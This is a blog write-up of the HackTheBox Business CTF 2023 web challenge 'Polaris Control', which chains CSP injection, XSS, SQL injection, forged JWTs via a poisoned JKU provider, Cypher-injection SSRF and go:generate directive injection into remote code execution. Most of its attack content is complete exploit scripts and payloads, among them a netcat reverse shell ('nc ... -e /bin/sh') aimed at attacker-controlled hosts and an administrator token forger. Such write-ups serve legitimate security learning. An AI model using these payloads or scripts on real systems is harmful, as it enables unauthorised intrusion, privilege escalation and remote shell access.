HTB Business CTF 2023 - Polaris Control
A little while back I competed in the HackTheBox Business CTF 2023 with colleagues from work. I’d like to share my solution for one of the harder challenges, Polaris Control, a “medium” (!?) rated web challenge. It involved chaining together multiple separate exploit steps to finally achieve RCE.
Challenge Overview
Polaris Control is based on a hypothetical C2-esque application (reminiscent of SpyBug from HTB CA CTF 2023). It supports go implants/agents which communicate back to the main server with information about whatever host they are infecting through a dedicated API for implants. There is also a user interface accessible past a login page for moderators to examine the collated information of infected hosts. Beyond this there is also administrator only functionality interacting with a neo4j database and a localhost exclusive functionality to build new agents.
First exploit - CSP Injection to XSS
As we have no credentials to begin with, we will start by examining the agent APIs under /comms/
which are unauthenticated. This allows us to communicate to the challenge instance by impersonating a remote agent instance.
To achieve this we only need to bypass a trivial check on the User Agent of incoming requests.
# communications.py
...
def implant_middleware(func):
def check_moderator(*args, **kwargs):
user_agent = request.headers.get("User-Agent")
if not current_app.config["IMPLANT_AGENT_NAME"] in user_agent: # Polaris Control
return response("Unauthorized"), 401
return func(*args, **kwargs)
check_moderator.__name__ = func.__name__
return check_moderator
...
With this requirement met we can make requests to the implant APIs unrestricted. We can register ourselves as an agent, validate our given ID and token, and update our details with /comms/register
, /comms/check
, and /comms/update
respectively.
The first two are not really that interesting but update definitely is.
# communications.py
...
@comms.route("/update/<identifier>/<token>", methods=["POST"])
@implant_middleware
def update(identifier, token):
if not identifier or not token:
return response("Missing parameters"), 400
if "image" not in request.files:
return response("No image"), 400
image_file = request.files["image"]
if image_file.filename == "":
return response("No selected image"), 400
if not allowed_file(image_file.filename, current_app.config["ALLOWED_EXTENSIONS"]): # png
return response("Invalid image extension"), 403
mysql_interface = MysqlInterface(current_app.config)
authenticated = mysql_interface.check_implant(identifier, token) # id and token vlaid
if not authenticated:
return response("Unauthorized"), 401
data = request.form
if (not "version" in data or
not "antivirus" in data or
not "arch" in data or
not "platform" in data or
not "hostname" in data or
not "rights" in data
):
return response("Missing parameters"), 400
image_filename = identifier + "_" + image_file.filename
image_file.save(os.path.join(current_app.config["UPLOAD_FOLDER"] + "/", image_filename))
img_path = current_app.config["UPLOAD_FOLDER"] + "/" + image_filename
if not check_img(img_path): # Pillow functions
os.remove(img_path)
return response("Invalid image"), 403
mysql_interface.update_implant(
identifier,
request.remote_addr,
random.choice(regions),
data["version"],
data["antivirus"],
data["arch"],
data["platform"],
data["hostname"],
data["rights"],
"/static/uploads/" + image_filename
)
bot_runner(current_app.config["MODERATOR_USER"], current_app.config["MODERATOR_PASSWORD"], current_app.config["BOT_AGENT_NAME"], identifier) # start the bot
return response("Updated"), 201
We can update any of the existing details of the implant but also now upload an image file. There is validation to ensure only the .png
can be used, and additional checks in the check_img
function (omitted for brevity) that perform image manipulation via the Pillow library to ensure a validate png is provided. os.path.join
is known to be exploitable to strip parts of paths, but we could not find a way in this case because we only control the latter half of the filename via image_filename = identifier + "_" + image_file.filename
.
At the end of the function an instance of a moderator user is created via selenium in the bot_runner
function and made to via the profile of our implant.
This implies we need to exploit some kind of frontend attack against this bot user to obtain a moderator session. Let’s examine /panel/implant
.
# panel.py
...
@panel.route("/implant/<identifier>", methods=["GET"])
@csp_middleware
@moderator_middleware
def implant(identifier):
if not identifier:
return response("Missing parameters"), 400
mysql_interface = MysqlInterface(current_app.config)
implant = mysql_interface.fetch_implant_by_identifier(identifier)
if not implant:
return response("Implant not found"), 404
return render_template("implant.html",
title="Implant information",
nav_enabled=True,
user_data=request.user_data,
implant_data=implant,
)
...
This renders our implant data into the Jinja template implant.html
, let’s take a closer look.
# implant.html
...
<script src="/static/js/implant.js"></script>
<div id="loadingSection" class="loading-container">
<img class="loading-img" src="/static/images/star.png">
</div>
<div class="container-fluid">
<div class="row mt-5">
<div class="col-12">
<div class="stats-container">
<div class="row">
<div class="col-5">
<h2>Information</h2>
<hr>
<p><b>IP: </b></p>
<p><b>Region: </b></p>
<p><b>Version: </b></p>
<p><b>AV: </b></p>
<p><b>Architecture: </b></p>
<p><b>OS: </b></p>
<p><b>Hostname: </b></p>
<p><b>Privileges: </b></p>
<p><b>Last seen: </b></p>
<p><b>Installed on: </b></p>
</div>
<div class="col-7">
<h2>Screenshot</h2>
<hr>
<img class="img-fluid" src="">
</div>
</div>
</div>
</div>
</div>
</div>
...
All the implant data is processed with the safe filter, which prevents escaping of its content. This would normally give us direct XSS but there is one problem, let’s look at the csp_middleware
decorator on the same API
# panel.py
...
def csp_middleware(func):
def set_csp(*args, **kwargs):
pattern = r'/panel/implant/(\w+)'
match = re.search(pattern, request.url)
image_url = None
if match:
mysql_interface = MysqlInterface(current_app.config)
image_url = mysql_interface.fetch_implant_by_identifier(match.group(1))["image_url"]
img_policy = f"'self' {image_url[1:]}" if image_url else "'self'"
response = make_response(func(*args, **kwargs))
response.headers["Content-Security-Policy"] = f"default-src 'self'; frame-ancestors 'none'; object-src 'none'; base-uri 'none'; img-src {img_policy};"
return response
set_csp.__name__ = func.__name__
return set_csp
...
We have a fairly restrictive CSP preventing any immediate XSS. Checking with CSP evaluator the only thing jumping out is the default source: self, but this seems unlikely to exploit given the Pillow functions that run on our uploaded image file. Curiously there is a dynamic aspect to the CSP via img_policy
string interpolation.
At this point let’s change the moderator credentials on our local instance to let us log in and debug dynamically against on “implant” profile.
# config.py
class Config(object):
VERSION = "4.5.0"
IMPLANT_AGENT_NAME = "Polaris Control"
IMPLANT_SRC_PATH = "/app/implant"
IMPLANT_SRC_FILE = "polaris-agent.go"
BOT_AGENT_NAME = "Polaris Browser"
SECRET_KEY = generate(50)
JWKS_PATH = "/tmp/jwks.json"
UPLOAD_FOLDER = "/app/application/static/uploads"
ALLOWED_EXTENSIONS = {"png"}
MYSQL_HOST = os.getenv("MYSQL_HOST")
MYSQL_DATABASE = os.getenv("MYSQL_DATABASE")
MYSQL_USER = os.getenv("MYSQL_USER")
MYSQL_PASSWORD = os.getenv("MYSQL_PASSWORD")
NEO4J_HOST = os.getenv("NEO4J_HOST")
NEO4J_DATABASE = os.getenv("NEO4J_DATABASE")
NEO4J_USER = os.getenv("NEO4J_USER")
NEO4J_PASSWORD = os.getenv("NEO4J_PASSWORD")
MODERATOR_USER = "moderator" # changed
MODERATOR_PASSWORD = "password" # changed
We login and navigate to our implant profile. This reveals something (that should really have been apparent on closer code inspection) when looking at the request for our implant in burp.
Our file name is reflected into the CSP via the {img_policy}
f string variable in csp_middleware
. Researching this type of behaviour we discover some amazing research by Gareth Heyes on CSP Policy Injection. I’ll not repeat the explanation, so long story short we can use the Chrome CSP injection bypass mentioned in the article since the moderator bot instance is using chrome via selenium.
With an image file name of "; script-src 'none'; script-src-elem *; img-src blah.png"
we can insert our own CSP directives that create the bypass mentioned in the article. We can verify this bypass by setting a simple alert payload and verifying on our local instance.
We use the following exploit script:
#!/usr/bin/env python3
import requests
local = True
proxy = True
url = "localhost" if local else "94.237.48.19"
port = 1337 if local else 42240
sess = requests.Session()
sess.proxies.update({'http':'http://127.0.0.1:8080'}) if proxy else 0
sess.headers.update({'User-Agent': 'Polaris Control/1.2.3'})
HTTP_SERVER = "http://172.17.0.1:5000" if local else "http://5f65-82-11-229-58.ngrok-free.app"
body = {
"version": "a",
"antivirus": "b",
"hostname": "c",
"platform": "d",
"arch": "e",
"rights": "f"
}
# register our "agent", extract the creds
r = sess.post(f"http://{url}:{port}/comms/register", json=body)
ID = r.json()['identifier']
token = r.json()['token']
# okay check, (required?)
r = sess.get(f"http://{url}:{port}/comms/check/{ID}/{token}")
print(r.text)
js_source = """
alert(1)
"""
with open('./test.js', "w") as fh:
fh.write(js_source)
body['antivirus'] = f"<script src=\"{HTTP_SERVER}/test.js\"></script>"
# change to your image name
f = "file.png"
with open(f, "rb") as fh:
r = sess.post(
f"http://{url}:{port}/comms/update/{ID}/{token}",
data=body,
files={
# file name will inject into CSP
"image": ("blah.png", fh, "text/html")
}
)
# debug
print(r.text)
And confirm the XSS (if you are following along make sure you open in Chrome)
Second Exploit - SQL Injection
There is no direct account takeover because the session cookie of the moderator is marked as httpOnly
meaning we have no access with JavaScript, so let’s examine what other endpoints we can make a request to in the context of the moderator, endpoints using the moderator middleware.
The obvious choice is /home
, which accepts user controlled parameter on a POST request
# panel.py
...
@panel.route("/home", methods=["GET", "POST"])
@moderator_middleware
def home():
server_info = machine_info()
mysql_interface = MysqlInterface(current_app.config)
statistics = mysql_interface.fetch_implant_statistics()
implants = None
if request.method == "GET":
implants = mysql_interface.fetch_implant_data()
if request.method == "POST":
field = request.form.get("field")
query_eq = request.form.get("query_eq")
query_like = request.form.get("query_like")
if not field or not query_eq:
return response("Missing parameters"), 400
if not query_like:
query_like = query_eq
implants = mysql_interface.search_implants(field, query_eq, query_like)
return render_template("home.html",
title="Home",
nav_enabled=True,
user_data=request.user_data,
statistics=statistics,
implant_data=implants,
server_info=server_info
)
...
Let’s examine the search_implants
function our three parameters are used in
# mysql.py
...
def search_implants(self, column, query_eq, query_like):
available_columns = [
"identifier",
"region",
"platform",
"hostname",
"installation_date"
"version",
"antivirus"
]
if not column in available_columns:
return False
query_eq = html.escape(query_eq)
query_like = html.escape(query_like)
implants = self.query(f"SELECT * FROM implants WHERE {column} = '{query_eq}' OR {column} LIKE '{query_like}%'", multi=True)[0]
if len(implants) < 1:
return False
return implants
...
We control all three parameters that are directly interpolated into the query f string. Well, not really with the column since it is a list of fixed values. query_eq
and query_eq
are both placed within single quotes and we will be unable close these with our own single quotes due to the html.escape
preventing us from using them.
At this point we should also examine self.query
.
# mysql.py
...
def query(self, query, args=(), one=False, multi=False):
cursor = self.connection.cursor()
results = None
if not multi:
cursor.execute(query, args)
rv = [dict((cursor.description[idx][0], value)
for idx, value in enumerate(row)) for row in cursor.fetchall()]
results = (rv[0] if rv else None) if one else rv
else:
results = []
queries = query.split(";")
for statement in queries:
cursor.execute(statement, args)
rv = [dict((cursor.description[idx][0], value)
for idx, value in enumerate(row)) for row in cursor.fetchall()]
results.append((rv[0] if rv else None) if one else rv)
self.connection.commit()
return results
...
when called with multi=True
(as is our case) we have some custom logic to implement stacked queries. So if we can find a way to escape the single quote context our params are in we can split with a ;
and run arbitrary SQL commands.
with html.escape
we cannot use < > & '
(maybe others), but we can use \
. With a \
in the first parameter we can escape the end single quote so the beginning quote of the next parameter closes it instead turning the string into '\' OR region LIKE '
, this is explained below:
// before
SELECT * FROM implants WHERE {column} = '{query_eq}' OR {column} LIKE '{query_like}%'
// column = region
// query_eq = \
// query_like = ; <sql-command> -- -
// after
SELECT * FROM implants WHERE region = '\' OR region LIKE '; <sql-command> -- -'
Third Exploit - JWT JKU Endpoint subversion
With SQL Injection achieved it is not immediately clear what to use it for. There is no user with Administrator level privileges created by default so we cannot leak a password hash and try to crack it. The users table has an “account_type” column, so maybe we can insert our own administrator? nope, the table is set as read only during entrypoint.sh
after initial user creation. The only other path at this point is forging an administrator session somehow so let’s look at the session management of the application.
The application uses a JWT based system with asymmetric cryptography and a JKU. This is a URI which returns a set of public keys (JWKS set), if the signed JWT can be verified with one of these then it is considered valid. In the case of this application the jku points to /provider/jwks.json
which hosts the application generated public key. But there is an interesting quirk in the token verification process, the verify_jwt
function is called with a whitelist parameter of hosts that are treated as “trusted” potential values for the jku, the value for which is verified against this whitelist:
# jwt.py
...
def verify_jwt(whitelist, token):
decoded_headers = jwt.get_unverified_header(token)
if "jku" not in decoded_headers:
return False
jku_url = decoded_headers["jku"]
if jku_url not in [host["host_url"] for host in whitelist]: # checking JWT provided jku against whitelist
return False
jwk_set = requests.get(jku_url).json()
public_keys = {}
for jwk in jwk_set["keys"]:
kid = jwk["kid"]
public_keys[kid] = jwt.algorithms.RSAAlgorithm.from_jwk(json.dumps(jwk))
try:
decoded_token = jwt.decode(token, key=random.choice(list(public_keys.values())), algorithms=["RS256"])
return decoded_token
except jwt.InvalidTokenError:
return False
...
So where does this whitelist come from? if we track back through calls to verify_jwt
in the administrator middleware we see it is mysql_interface.fetch_token_providers
!
# panel.py
...
def administrator_middleware(func):
def check_administrator(*args, **kwargs):
jwt_cookie = request.cookies.get("jwt") or request.args.get("token")
if not jwt_cookie:
return response("Unauthorized"), 401
mysql_interface = MysqlInterface(current_app.config)
allowed_hosts = mysql_interface.fetch_token_providers()
token = verify_jwt(allowed_hosts, jwt_cookie)
...
# mysql.py
...
def fetch_token_providers(self):
providers = self.query("SELECT * FROM trusted_external_token_providers")
if len(providers) < 1:
return False
return providers
Great, so we can inject our own whitelisted JKU provider URI allowing us to forge an administrator JWT session! Let’s take a step back at this point and look at the exploit steps to reach this point:
- Upload crafted filename to inject CSP, allowing XSS via implant details.
- Use XSS to make request to
/panel/home
with crafted request to trigger SQL injection - Use SQL injection to set a server we control as a whitelisted JKU provider
- Generate a private public keypair, sign an administrator JWT with jku header pointing to our approved URL hosting public key
- Access
/panel/network
to verify administrator access
I’ve adapted the exploit script to use the application JWT generation logic to avoid any compatibility issues between tools. We can host the public key on the same server as our JS payload and run the below script:
#!/usr/bin/env python3
import requests, jwt, time, base64, json, urllib.parse
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
local = True
proxy = True
HTTP_SERVER = "http://172.17.0.1:5000" if local else "http://5f65-82-11-229-58.ngrok-free.app"
url = "localhost" if local else "94.237.48.19"
port = 1337 if local else 42240
sess = requests.Session()
sess.proxies.update({'http':'http://127.0.0.1:8080'}) if proxy else 0
sess.headers.update({'User-Agent': 'Polaris Control/1.2.3'})
body = {
"version": "a",
"antivirus": "b",
"hostname": "c",
"platform": "d",
"arch": "e",
"rights": "f"
}
# register our "agent", extract the creds
r = sess.post(f"http://{url}:{port}/comms/register", json=body)
ID = r.json()['identifier']
token = r.json()['token']
# okay check, (required?)
r = sess.get(f"http://{url}:{port}/comms/check/{ID}/{token}")
print(r.text)
char_string = "char(" + ", ".join([f'{ord(i)}' for i in f'{HTTP_SERVER}/abcdef']) + ")"
# XSS payload
# CSRF to /panel/home with SQLi payload to add new jku provider
js_source = """
var details = {
'field': 'identifier',
'query_eq': 'a\\\\',
'query_like': ';INSERT INTO trusted_external_token_providers(host_url) VALUES(""" + char_string + """)-- -'
};
var formBody = [];
for (var property in details) {
var encodedKey = encodeURIComponent(property);
var encodedValue = encodeURIComponent(details[property]);
formBody.push(encodedKey + "=" + encodedValue);
}
formBody = formBody.join("&");
fetch(`/panel/home`, {
method: 'POST',
credentials: 'include',
headers: {
'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8'
},
body: formBody
})
"""
with open('./test.js', "w") as fh:
fh.write(js_source)
body['antivirus'] = f"<script src=\"{HTTP_SERVER}/test.js\"></script>"
# change to your image name
f = "file.png"
with open(f, "rb") as fh:
r = sess.post(
f"http://{url}:{port}/comms/update/{ID}/{token}",
data=body,
files={
# file name will inject into CSP
"image": ("; script-src 'none'; script-src-elem *; img-src blah.png", fh, "text/html")
}
)
# debug
print(r.text)
# boilerplate code copied from chal to replicate key gen
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048
)
pem_private_key = private_key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.PKCS8,
encryption_algorithm=serialization.NoEncryption(),
).decode()
public_numbers = private_key.public_key().public_numbers()
n_base64 = base64.urlsafe_b64encode(public_numbers.n.to_bytes((public_numbers.n.bit_length() + 7) // 8, "big")).rstrip(b"=").decode()
e_base64 = base64.urlsafe_b64encode(public_numbers.e.to_bytes((public_numbers.e.bit_length() + 7) // 8, "big")).rstrip(b"=").decode()
jwks = {
"keys": [
{
"kty": "RSA",
"alg": "RS256",
"use": "sig",
"kid": "1",
"n": n_base64,
"e": e_base64
}
]
}
with open('./abcdef', "w") as file:
json.dump(jwks, file)
header = {
"alg": "RS256",
"jku": f"{HTTP_SERVER}/abcdef"
}
payload = {
"username": 'hacked',
"account_type": 'administrator'
}
token = jwt.encode(payload, pem_private_key, algorithm="RS256", headers=header)
print(f"Token: {token}")
Updating the ‘jwt’ cookie in our browser with the token provided by the script we see we get an administrator session upon browsing to /panel/network
.
Fourth Exploit - Cypher Injection
The next logical step is examining the source code for the endpoint. We see we can control one parameter query
on a post request that is fed to some neo4j function.
# panel.py
...
@panel.route("/network", methods=["GET", "POST"])
@administrator_middleware
def network():
mysql_interface = MysqlInterface(current_app.config)
neo4j_interface = Neo4jInterface(current_app.config)
implant_connections = []
implants = mysql_interface.fetch_implant_data()
if request.method == "GET":
implant_connections = neo4j_interface.fetch_implant_connections()
if request.method == "POST":
query = request.form.get("query")
if not query:
return response("Missing parameters"), 400
implant_connections = neo4j_interface.search_implant_connections(query)
return render_template("network.html",
title="Nodes",
nav_enabled=True,
user_data=request.user_data,
implant_data=implants,
connections=implant_connections
)
...
Let’s see if we can reach any sink with our input in search_implant_connections
.
# neo4j.py
...
def search_implant_connections(self, search_query=None):
implants = self.query(f"""
MATCH (i1:Implant)-[:CONNECTED_TO]->(i2:Implant)
WHERE i1.identifier = '{search_query}' OR i2.identifier = '{search_query}'
RETURN i1.identifier AS identifier1, i2.identifier AS identifier2
/*Fetches all connections for a select implant*/
""")
connections = []
for record in implants:
connection = {
"identifier1": record["identifier1"],
"identifier2": record["identifier2"]
}
connections.append(connection)
return connections
...
We have direct string interpolation into the query via {search_query}
. During the live event this was my first ever encounter with injection into neo4j commands (which I now know as Cypher injection) so I spent a while frantically googling. I relied heavily on these two resources:
The exact steps I used to arrive at my final query are a blur now but I recall fixing the return syntax was a requirement, as was using an open inline comment to ignore the rest of the broken query. Also wasting a lot of time trying to use apoc before realising it was not installed…. anyway after this I discovered we can achieve an SSRF with LOAD CSV FROM 'https://attacker.com/'
. After a lot of fuzzing and tweaking I discovered we can hit internal endpoints using this method with the following query:
' OR 1=1 WITH 1 as _l00 CALL dbms.procedures() yield name LOAD CSV FROM 'http://127.0.0.1:1234/' as l RETURN 1 as identifier1,2 as identifier2/*
confirmed by starting a listener inside the docker container to receive the request:
Fifth Exploit - go:generate
directive injection
So we have local SSRF, what do we do with it? The target is quite obvious as there is only one endpoint using the localhost_middleware
, /panel/server
. It accepts a HTTP GET parameter server_url
and inputs it to the function build_implant
# panel.py
...
@panel.route("/server", methods=["GET"])
@localhost_middleware
@administrator_middleware
def server():
server_url = request.args.get("server_url")
if not server_url:
return render_template("server.html",
title="Builder",
nav_enabled=True,
user_data=request.user_data,
)
return send_file(build_implant(
current_app.config["IMPLANT_SRC_PATH"],
current_app.config["IMPLANT_SRC_FILE"],
server_url
))
...
# general.py
...
def build_implant(implant_path, implant_file, server_url):
implant_id = generate(32)
new_build_dir = f"/tmp/{implant_id}"
os.mkdir(new_build_dir)
os.system(f"cp {implant_path}/* {new_build_dir}")
implant_file = open(f"{new_build_dir}/{implant_file}", "r")
implant_src = implant_file.read()
implant_file.close()
implant_src = implant_src.replace("SERVER_URL", server_url)
new_src_path = f"/{new_build_dir}/{implant_id}.go"
new_src_file = open(new_src_path, "w")
new_src_file.write(implant_src)
new_src_file.close()
os.system(f"go generate -x {new_src_path}")
os.system(f"go build -C {new_build_dir} -o {new_build_dir}/{implant_id} {new_src_path}")
return f"{new_build_dir}/{implant_id}"
...
This compiles a new implant with the server URL we provide directly replaced into the implant source code.
// polaris_agent.go
...
func main() {
const version = "3.12.5"
const userAgent = "Polaris Control/" + version
const configPath string = "/tmp/polaris.conf"
const screenshotPath string = "/tmp/screenshot.png"
const apiURL string = "SERVER_URL" // SERVER_URL will be replaced!
var apiConnection bool = checkConnection(apiURL)
if apiConnection {
var configFileExists bool = checkFile(configPath)
...
Essentially we can cause arbitrary go code to be compiled - what do we do with this? Some further research into the command called, go generate
revealed the //go:generate
directive.
The
go generate
command was added in Go 1.4, “to automate the running of tools to generate source code before compilation.”
This sounds like exactly what we are looking for. After quickly verifying the container for this challenge contains the -e
variant of netcat we can build our payload. We need the directive to be at the beginning of a new line to function correctly, so we will close the quotes, take a newline, enter our directive, take another newline and start a comment to ignore the trailing quote, like so:
server_url
payload
"
//go:generate nc 172.19.0.1 1234 -e /bin/sh
//
which when replaced into the go code with SERVER_URL
, will look like this:
func main() {
const version = "3.12.5"
const userAgent = "Polaris Control/" + version
const configPath string = "/tmp/polaris.conf"
const screenshotPath string = "/tmp/screenshot.png"
const apiURL string = ""
//go:generate nc 172.19.0.1 1234 -e /bin/sh
//"
var apiConnection bool = checkConnection(apiURL)
if apiConnection {
var configFileExists bool = checkFile(configPath)
Now to build the final payload. We can set the server_url
payload as above and thankfully the @administrator_middleware
has been configured to also accept the JWT token as a HTTP GET parameter (jwt_cookie = request.cookies.get("jwt") or request.args.get("token")
), so we provide that also. This gives us a Cypher Injection payload as follows:
query=' OR 1=1 WITH 1 as _l00 CALL dbms.procedures() yield name LOAD CSV FROM 'http://127.0.0.1:1337/panel/server?server_url="\n//go:generate nc 139.162.169.46 4567 -e /bin/sh\n//&token=eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHBzOi8vMmMwNC04Mi0xMS0yMjktNTgubmdyb2stZnJlZS5hcHAvYWJjZGVmIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6ImhhY2tlZCIsImFjY291bnRfdHlwZSI6ImFkbWluaXN0cmF0b3IifQ.CZ6cSbrA8HHc8y8s1gnNolL3Oe4oUcPPTSCMNiPNQF6VpUsFwoHPgMv_V5RwgDcND17Dqolr5G1lRwUdhzj-SGzm3yymwdB-LTWVLu7FQrnVzj1yIjgJRDWoFZJDQI4m4Jp44VQW24KuKneCuVGRFu86DUMFnyCwjDZB-lK-YPPLia4q2yQGSER9PHSD6aYCTIF8ksNbpJcHTRfjTf10UPIeFS35itfyYV4z6R-X6IG2FKgJIVkNPb5rwmIp5J4-inruCTa2-YiXmJWgAY-EGFepRkb1iA2_X-oBxnSgvHB_RYoBIDxpnz7_qr3XWxiLvHQYqhgfmCHFPNivSTIIfg' as l RETURN 1 as identifier1,2 as identifier2/*
Note however that we will need to URL encode the server_url
value twice, once for POST body to /panel/network
for the cypher injection, and then again for the SSRF to /panel/server
.
# URL Encode server_url
query=' OR 1=1 WITH 1 as _l00 CALL dbms.procedures() yield name LOAD CSV FROM 'http://127.0.0.1:1337/panel/server?server_url=%22%0A%2F%2Fgo%3Agenerate%20nc%20139%2E162%2E169%2E46%204567%20%2De%20%2Fbin%2Fsh%0A%2F%2F&token=eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHBzOi8vMmMwNC04Mi0xMS0yMjktNTgubmdyb2stZnJlZS5hcHAvYWJjZGVmIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6ImhhY2tlZCIsImFjY291bnRfdHlwZSI6ImFkbWluaXN0cmF0b3IifQ.CZ6cSbrA8HHc8y8s1gnNolL3Oe4oUcPPTSCMNiPNQF6VpUsFwoHPgMv_V5RwgDcND17Dqolr5G1lRwUdhzj-SGzm3yymwdB-LTWVLu7FQrnVzj1yIjgJRDWoFZJDQI4m4Jp44VQW24KuKneCuVGRFu86DUMFnyCwjDZB-lK-YPPLia4q2yQGSER9PHSD6aYCTIF8ksNbpJcHTRfjTf10UPIeFS35itfyYV4z6R-X6IG2FKgJIVkNPb5rwmIp5J4-inruCTa2-YiXmJWgAY-EGFepRkb1iA2_X-oBxnSgvHB_RYoBIDxpnz7_qr3XWxiLvHQYqhgfmCHFPNivSTIIfg' as l RETURN 1 as identifier1,2 as identifier2/*
# URL Encode everything
query=%27%20OR%201%3D1%20WITH%201%20as%20%5Fl00%20CALL%20dbms%2Eprocedures%28%29%20yield%20name%20LOAD%20CSV%20FROM%20%27http%3A%2F%2F127%2E0%2E0%2E1%3A1337%2Fpanel%2Fserver%3Fserver%5Furl%3D%2522%250A%252F%252Fgo%253Agenerate%2520nc%2520139%252E162%252E169%252E46%25204567%2520%252De%2520%252Fbin%252Fsh%250A%252F%252F%26token%3DeyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHBzOi8vMmMwNC04Mi0xMS0yMjktNTgubmdyb2stZnJlZS5hcHAvYWJjZGVmIiwidHlwIjoiSldUIn0%2EeyJ1c2VybmFtZSI6ImhhY2tlZCIsImFjY291bnRfdHlwZSI6ImFkbWluaXN0cmF0b3IifQ%2ECZ6cSbrA8HHc8y8s1gnNolL3Oe4oUcPPTSCMNiPNQF6VpUsFwoHPgMv%5FV5RwgDcND17Dqolr5G1lRwUdhzj%2DSGzm3yymwdB%2DLTWVLu7FQrnVzj1yIjgJRDWoFZJDQI4m4Jp44VQW24KuKneCuVGRFu86DUMFnyCwjDZB%2DlK%2DYPPLia4q2yQGSER9PHSD6aYCTIF8ksNbpJcHTRfjTf10UPIeFS35itfyYV4z6R%2DX6IG2FKgJIVkNPb5rwmIp5J4%2DinruCTa2%2DYiXmJWgAY%2DEGFepRkb1iA2%5FX%2DoBxnSgvHB%5FRYoBIDxpnz7%5Fqr3XWxiLvHQYqhgfmCHFPNivSTIIfg%27%20as%20l%20RETURN%201%20as%20identifier1%2C2%20as%20identifier2%2F%2A
With this we a finally ready to perform the exploit. We start a local netcat listener on port 1234 and send the above payload to /panel/network
.
Recap
Altogether we chained quite a number of vulnerabilities to get RCE:
- CSP Injection via uploaded filename to neutralize CSP
- Allowing XSS via
| safe
entry in flask template - Using XSS to send request as moderator user to
/panel/home
triggering SQLi - Using SQLi to set poison JKU provider with our controlled JWKS
- Signing our own JWT with this and using poisoned JKU provider endpoint to verify
- Exploiting Cypher Injection to trigger SSRF via
LOAD CSV
- Using SSRF to hit localhost only endpoint
/panel/server
- Using this endpoint to inject go directives into go source code, and cause RCE during
go generate
Here is the full script to complete the exploit:
#!/usr/bin/env python3
import requests, jwt, time, base64, json, urllib.parse
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
"""
Exploit requirements:
1. get a random png named file.png, place in current directory
2. HTTP server to js and jku pub key
3. TCP listener for reverse shell
"""
local = True
proxy = True
HTTP_SERVER = "http://172.17.0.1:5000" if local else "http://5f65-82-11-229-58.ngrok-free.app"
listener_ip = "172.17.0.1" if local else "tcp://5f65-82-11-229-58.ngrok-free.app"
listener_port = "1234" if local else "80"
url = "localhost" if local else "94.237.48.19"
port = 1337 if local else 42240
sess = requests.Session()
sess.proxies.update({'http':'http://127.0.0.1:8080'}) if proxy else 0
sess.headers.update({'User-Agent': 'Polaris Control/1.2.3'})
body = {
"version": "a",
"antivirus": "b",
"hostname": "c",
"platform": "d",
"arch": "e",
"rights": "f"
}
# register our "agent", extract the creds
r = sess.post(f"http://{url}:{port}/comms/register", json=body)
ID = r.json()['identifier']
token = r.json()['token']
# okay check, (required?)
r = sess.get(f"http://{url}:{port}/comms/check/{ID}/{token}")
print(r.text)
char_string = "char(" + ", ".join([f'{ord(i)}' for i in f'{HTTP_SERVER}/pub.json']) + ")"
# XSS payload
# CSRF to /panel/home with SQLi payload to add new jku provider
js_source = """
var details = {
'field': 'identifier',
'query_eq': 'a\\\\',
'query_like': ';INSERT INTO trusted_external_token_providers(host_url) VALUES(""" + char_string + """)-- -'
};
var formBody = [];
for (var property in details) {
var encodedKey = encodeURIComponent(property);
var encodedValue = encodeURIComponent(details[property]);
formBody.push(encodedKey + "=" + encodedValue);
}
formBody = formBody.join("&");
fetch(`/panel/home`, {
method: 'POST',
credentials: 'include',
headers: {
'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8'
},
body: formBody
})
"""
with open('./test.js', "w") as fh:
fh.write(js_source)
body['antivirus'] = f"<script src=\"{HTTP_SERVER}/test.js\"></script>"
# change to your image name
f = "file.png"
with open(f, "rb") as fh:
r = sess.post(
f"http://{url}:{port}/comms/update/{ID}/{token}",
data=body,
files={
# file name will inject into CSP
"image": ("; script-src 'none'; script-src-elem *; img-src blah.png", fh, "text/html")
}
)
# debug
print(r.text)
# boilerplate code copied from chal to replicate key gen
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048
)
pem_private_key = private_key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.PKCS8,
encryption_algorithm=serialization.NoEncryption(),
).decode()
public_numbers = private_key.public_key().public_numbers()
n_base64 = base64.urlsafe_b64encode(public_numbers.n.to_bytes((public_numbers.n.bit_length() + 7) // 8, "big")).rstrip(b"=").decode()
e_base64 = base64.urlsafe_b64encode(public_numbers.e.to_bytes((public_numbers.e.bit_length() + 7) // 8, "big")).rstrip(b"=").decode()
jwks = {
"keys": [
{
"kty": "RSA",
"alg": "RS256",
"use": "sig",
"kid": "1",
"n": n_base64,
"e": e_base64
}
]
}
with open('./pub.json', "w") as file:
json.dump(jwks, file)
header = {
"alg": "RS256",
"jku": f"{HTTP_SERVER}/pub.json"
}
payload = {
"username": 'hacked',
"account_type": 'administrator'
}
token = jwt.encode(payload, pem_private_key, algorithm="RS256", headers=header)
sess.cookies.update({'jwt':token})
r = sess.get(f"http://{url}:{port}/panel/network")
# go:generate injection
go_gen_payload = urllib.parse.quote(f'"\n//go:generate nc {listener_ip} {listener_port} -e /bin/sh\n//', safe='')
# neo4j injection
cypher_payload = f"' OR 1=1 WITH 1 as _l00 CALL dbms.procedures() yield name LOAD CSV FROM 'http://127.0.0.1:1337/panel/server?server_url={go_gen_payload}&token={token}' as l RETURN 1 as identifier1,2 as identifier2/*"
print("catch that shell ;)")
r = sess.post(f"http://{url}:{port}/panel/network", data={'query':cypher_payload})